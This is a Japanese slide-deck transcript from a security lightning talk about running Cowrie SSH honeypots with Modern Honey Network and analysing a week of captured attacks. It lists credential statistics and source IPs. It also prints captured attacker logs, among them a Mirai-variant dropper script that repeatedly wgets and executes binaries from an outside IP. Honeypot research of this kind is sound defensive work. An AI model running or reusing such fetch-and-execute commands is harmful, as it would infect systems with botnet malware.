Share
Embed
あなたは、ハニーポットがお好きですか?!
総関西サイバーセキュリティLT大会(第4回)
https://sec-kansai.connpass.com/event/59800/
blackle0pard
August 09, 2017
Annual Pro sale · Save $30
Have presentations of your own?
Share with private links, password protection, and more control over your work.
Transcript
48 slides
-
自己紹介 ▪ Twitter @blackle0pard_ ▪ ハンドルネーム 黒彪 (くろひょう) ▪ 経歴
医薬品の営業→インフラエンジニア 2 -
インストール先を選ぶ ▪ クラウド、VPS、物理サーバーなど – 出来ればクラウドなどのサービスを利用したい ▪ クラウドなどのサービスを利用する場合、規約違反にならないか? – 利用規約を読んでも、規約違反かどうかよく分からない –
許可をとっていると明示してハニーポットを個人運用している記事は、自分が調べた限 り見つけられなかった →規約違反にならないか確認は必要 9 -
インストール先を選ぶ(AWSの場合) ▪ サポートプランがベーシック(無料)なので、技術サポートの問い合わせが出 来なかった ▪ Discussion Forumsを見ると、ハニーポットの運用はOKのように見える が確証はない – フォーラムでは「無料枠でハニーポットを使えるか?」について記載されている
https://forums.aws.amazon.com/thread.jspa?threadID=105126 ▪ 国内外を問わず、AWSで運用している記事は多い – みんなが使っているから、大丈夫? 10 -
インストール先を選ぶ(DigitalOceanの場合) ▪ チュートリアルにハニーポットのインストール手順が記載されている – How To Set Up an Artillery
Honeypot on an Ubuntu VPS https://www.digitalocean.com/community/tutorials/how-to-set-up- an-artillery-honeypot-on-an-ubuntu-vps ▪ 2017/6/21にWEBから問い合わせしました – 『セキュアにハニーポットを運用している限りは問題ないけど、十分気をつけろ』(意訳) 13 -
ハニーポットを選ぶ ▪ 探してみると種類が多い – (例) SSHのハニーポット Kojoney, Kojoney2, Kippo, Cowrie,
sshlowpot, sshhipot など – GitHub - paralax/awesome-honeypots: an awesome list of honeypot resources https://github.com/paralax/awesome-honeypots – Gran recopilación de honeypots : hackplayers http://www.hackplayers.com/2015/12/gran-recopilacion-de- honeypots.html?m=1 15 -
今回、選んだハニーポット ① Cowrie – https://github.com/micheloosterhof/cowrie – SSHのハニーポット – SSH接続時に使用したユーザ名・パスワード、接続元IPを記録する –
ログイン後に攻撃者が実行したコマンドの記録、ダウンロードしたファイルの隔離 ② Modern Honey Network – https://github.com/threatstream/mhn – ハニーポットの構築やデータ収集を簡単に行うためのツール – Splunk, ELK(Elasticsearch,Logstash,Kibana)と連携できる(インストール用 のスクリプトが用意されている) 16 -
1.システムを構築する 1.1. インストール先を選ぶ → DigitalOcean 1.2. ハニーポットを選ぶ → Modern Honey
Network, Cowrie 1.3.ハニーポットをインストールする 19 -
全体構成 21 Ubuntu Cowrie Ubuntu Cowrie Ubuntu Cowrie Ubuntu Cowrie
Ubuntu Modern Honey Network 222 22 22 22 攻撃者 SSHでログインして 悪いことをする 攻撃者の情報を 集める WEBブラウザから 集めた情報を確認する Sensorsサーバー MHNサーバー -
▪ DigitalOceanに日本リージョンがないので、全て海外に設置 ▪ Dropletのサイズは一番安い構成($5/月)を使用 – 512MB/1CPU, 20GB SSD Disk, 10000GB
Transfer Sensorsサーバーの構成 # Droplet Region Cowrieの待受 SSH ポート OS 1 San Francisco 222 Ubuntu 16.04.3 2 San Francisco 22 Ubuntu 16.04.3 3 London 22 Ubuntu 16.04.3 4 Singapore 22 Ubuntu 16.04.3 22 -
インストール手順(簡易) ① サーバーにModern Honey Networkをインストールする ② ①のサーバーにWEBブラウザでアクセスする ③ MHNサーバーでデプロイ用のスクリプトを発行する ④
ハニーポットをインストールするサーバーで、③で発行したスクリプトを実行 する 23 -
インストール手順(詳細) ▪ README – mhn/README.md at master · threatstream/mhn ·
GitHub https://github.com/threatstream/mhn/blob/master/README.md ▪ 詳細な手順は下記のPDFを参照 – Exercise 1: Deploy and Configure Modern Honey Network http://bit.ly/honey-labs ▪ 記載された手順通りにインストールしてもサービスが起動しないとかスクリプ トの実行に失敗するとか色々あるので、GitHubのissuesを見よう 25 -
トラブルシューティング① ▪ MHNをインストール後、 hpfeeds-brokerサービスが停止している – install MHN server eeror #433
https://github.com/threatstream/mhn/issues/433 – 下記のコマンドを実行する 26 $ sudo /opt/hpfeeds/env/bin/python -m pip install --upgrade pyopenssl $ sudo supervisorctl start hpfeeds-broker -
トラブルシューティング② ▪ MHNをインストール後、 mhn-celery-workerサービスが停止している – MHN Troubleshooting Guide https://github.com/threatstream/mhn/wiki/MHN-Troubleshooting- Guide
– mhn.logのログローテーションが発生すると、同様の対処が必要 27 $ cd /var/log/mhn/ $ sudo chown www-data mhn.log $ sudo supervisorctl start mhn-celery-worker -
トラブルシューティング③ ▪ MHNサーバーで発行したCowrieのデプロイ用スクリプトが正常に動作し ない – Cowrie Install Script Broken #406
https://github.com/threatstream/mhn/issues/406 – deploy.shを下記の内容に修正する https://github.com/SmUrF3R5/mhn/blob/master/scripts/deploy_cow rie.sh – Cowrieの起動・停止手順の変更が、MHNのスクリプトに反映されていない – more changes to start/stop · micheloosterhof/cowrie@5510558 https://github.com/micheloosterhof/cowrie/commit/55105582cba94 899751800d7b54f8f2e19d172cd 28 -
攻撃された回数 31 – 収集期間:2017/8/2 - 2017/8/8 (1週間) – 「攻撃された回数 =
SSHの試行回数」なので、実際にログインされて、何かコマンド が実行された数とは異なる # Droplet Region Cowrieの待受 SSH ポート 攻撃された回数 1 Singapore 22 223,551 2 San Francisco 22 6,075 3 London 22 5,182 4 San Francisco 222 0 5 合計 234,808 -
使用されたユーザー名 Top10 32 # ユーザー名 回数 1 admin 876 2
test 231 3 user 230 4 ubuntu 209 5 pablo 180 6 eric 176 7 postgres 143 8 ftpuser 141 9 deploy 125 10 git 124 -
使用されたパスワード TOP10 33 # パスワード 回数 1 123456 261 2
password 135 2 test 135 3 p@ssw0rd 130 4 admin 129 5 admin123 81 6 12345 75 7 admin1 73 8 root 71 9 user 69 -
使用されたユーザー名/パスワードの組み合わせTOP10 34 # ユーザー名/パスワード 回数 1 admin/admin 88 2 admin/password
66 2 usuario/usuario 64 3 support/support 58 4 user/user 51 5 admin/admin123 47 6 admin/admin1 43 7 ubnt/ubnt 41 8 guest/guest 37 9 admin/12345 35 -
攻撃元のIPアドレス TOP10 35 # IPアドレス 国名 回数 1 123.16.32.196 ベトナム
4011 2 151.80.194.27 フランス 1430 3 192.241.170.15 アメリカ 1060 4 211.140.199.244 中国 955 5 121.10.255.2 中国 916 6 171.234.230.8 ベトナム 871 7 1.53.120.47 ベトナム 770 8 45.55.186.166 アメリカ 769 9 103.89.88.19 ベトナム 469 10 42.112.233.10 ベトナム 464 -
攻撃者のログ① 38 $ pwd /opt/cowrie/log/tty $ /opt/cowrie/bin/playlog 20170803-111136-500c9adb48a3-0e.log --2017-08-03 11:11:36--
http://198.1.188.73:81/ys808e Connecting to 198.1.188.73:81... connected. HTTP request sent, awaiting response... 200 OK Length: 625867 (611K) [text/plain; charset=UTF-8] Saving to: `/root/ys808e' 100%[======================================>] 625,867 93K/s eta 6s 2017-08-03 11:11:36 (93 KB/s) - `/root/ys808e' saved [625867/625867] $ pwd /opt/cowrie/dl $ file 02ab39d5ef83ffd09e3774a67b783bfa345505d3cb86694c5b0f0c94980e5ae8 02ab39d5ef83ffd09e3774a67b783bfa345505d3cb86694c5b0f0c94980e5ae8: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped San Francisco, London, Singapore で同様のログが確認できた -
攻撃者のログ② 39 $ pwd /opt/cowrie/log/tty $ /opt/cowrie/bin/playlog 20170804-034752-2322a5344798-0e.log --2017-08-04 03:47:52--
http://46.29.18.99/bins.sh Connecting to 46.29.18.99:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1600 (1K) [application/x-sh] Saving to: `/bins.sh' 100%[======================================>] 1,600 1K/s/s eta 0s 2017-08-04 03:47:53 (1 KB/s) - `/bins.sh' saved [1600/1600] chmod: cannot access tftp1.sh: No such file or directory chmod: cannot access tftp2.sh: No such file or directory Connecting to 46.29.18.99 ftpget: cmd (null) (null) ftpget: cmd USER anonymous ftpget: cmd PASS anonymous ftpget: cmd TYPE I (null) ftpget: cmd PASV (null) ftpget: cmd SIZE ftp1.sh ftpget: cmd RETR ftp1.sh ftpget: cmd (null) (null) ftpget: cmd QUIT (null) -
攻撃者のログ② 40 San Francisco, Singapore で同様のログが確認できた $ pwd /opt/cowrie/dl $
cat 2e979158d066a4e5324d831c56da95c733e009a5533a787b9a976b065f21c39a #!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/ntpd; chmod +x ntpd; ./ntpd; rm -rf ntpd cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/sshd; chmod +x sshd; ./sshd; rm -rf sshd cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/openssh; chmod +x openssh; ./openssh; rm -rf openssh cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/bash; chmod +x bash; ./bash; rm -rf bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/tftp; chmod +x tftp; ./tftp; rm -rf tftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/wget; chmod +x wget; ./wget; rm -rf wget cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/cron; chmod +x cron; ./cron; rm -rf cron cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/ftp; chmod +x ftp; ./ftp; rm -rf ftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/pftp; chmod +x pftp; ./pftp; rm -rf pftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/sh; chmod +x sh; ./sh; rm -rf sh cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/[cpu]; chmod +x [cpu]; ./[cpu]; rm -rf [cpu] cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/apache2; chmod +x apache2; ./apache2; rm -rf apache2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/telnetd; chmod +x telnetd; ./telnetd; rm -rf telnetd -
# Droplet Region Cowrieの待受 SSH ポート 攻撃された回数 1 Singapore 22
223,551 2 San Francisco 22 6,075 3 London 22 5,182 4 San Francisco 222 0 5 合計 234,808 攻撃された回数 42 • Singaporeが攻撃された回数が一番、多い • San FranciscoとLondonは殆ど同じ(日によって順位が変動している) • SSHのポートをデフォルトの22から222に変更すると、攻撃されなかった -
攻撃者のログ① 43 $ pwd /opt/cowrie/log/tty $ /opt/cowrie/bin/playlog 20170803-111136-500c9adb48a3-0e.log --2017-08-03 11:11:36--
http://198.1.188.73:81/ys808e Connecting to 198.1.188.73:81... connected. HTTP request sent, awaiting response... 200 OK Length: 625867 (611K) [text/plain; charset=UTF-8] Saving to: `/root/ys808e' 100%[======================================>] 625,867 93K/s eta 6s 2017-08-03 11:11:36 (93 KB/s) - `/root/ys808e' saved [625867/625867] $ pwd /opt/cowrie/dl $ file 02ab39d5ef83ffd09e3774a67b783bfa345505d3cb86694c5b0f0c94980e5ae8 02ab39d5ef83ffd09e3774a67b783bfa345505d3cb86694c5b0f0c94980e5ae8: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped • 地域に関係なく同様の攻撃を受けている(San Francisco, London, Singapore ) • virustotal (https://www.virustotal.com/ja/)で確認すると取得 されたファイルはトロイの木馬 -
攻撃者のログ② 44 $ pwd /opt/cowrie/log/tty $ /opt/cowrie/bin/playlog 20170804-034752-2322a5344798-0e.log --2017-08-04 03:47:52--
http://46.29.18.99/bins.sh Connecting to 46.29.18.99:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1600 (1K) [application/x-sh] Saving to: `/bins.sh' 100%[======================================>] 1,600 1K/s/s eta 0s 2017-08-04 03:47:53 (1 KB/s) - `/bins.sh' saved [1600/1600] chmod: cannot access tftp1.sh: No such file or directory chmod: cannot access tftp2.sh: No such file or directory Connecting to 46.29.18.99 ftpget: cmd (null) (null) ftpget: cmd USER anonymous ftpget: cmd PASS anonymous ftpget: cmd TYPE I (null) ftpget: cmd PASV (null) ftpget: cmd SIZE ftp1.sh ftpget: cmd RETR ftp1.sh ftpget: cmd (null) (null) ftpget: cmd QUIT (null) • 地域に関係なく同様の攻撃を受けている(San Francisco, Singapore) • virustotal (https://www.virustotal.com/ja/)で確認すると、取 得されたファイルはMiraiの亜種 -
分析から得られたものを活かす 46 ▪ SSHのポートを22以外に変更すると攻撃される可能性が低くなる – 少なくとも、自分の環境ではポートを変更するだけで、攻撃されなかった ▪ IoTのセキュリティ対策が必要 – 取得したログの中で、Miraiの亜種が一番多かった
▪ セキュリティ攻撃に地域性はあんまりなさそうなので、海外の情報も集めて いかないと駄目 -
まとめ・感想 47 ▪ 日本語で書かれているハニーポットの情報が少ないので、英語が読めない とシンドイ ▪ GitHubの更新が止まっていて正常に動作しないハニーポットがある – 出来る人はプルリクエストを送ろう –
本家よりもforkされた方が優秀な場合もある ▪ 集めたデータを分析するためのスキルが足りないので、もっと勉強したい -
参考にした資料 ▪ GitHub - threatstream/mhn: Modern Honey Network https://github.com/threatstream/mhn ▪
Deploying, Managing, and Leveraging Honeypots in the Enterprise using Open Source Tools (SlideShare) https://www.slideshare.net/jasontrost/deploying-managing-and- leveraging-honeypots-in-the-enterprise-using-open-source-tools ▪ Lab Exercises: Deploying, Managing, and Leveraging Honeypot s in the Enterprise using Open Source Tools (PDF) http://bit.ly/honey-labs ▪ Catching Flies: A Guide to the Various Flavors of Honeypots - catching-flies-guide-flavors-honeypots-36897 https://www.sans.org/reading-room/whitepapers/attacking/catching- flies-guide-flavors-honeypots-36897 48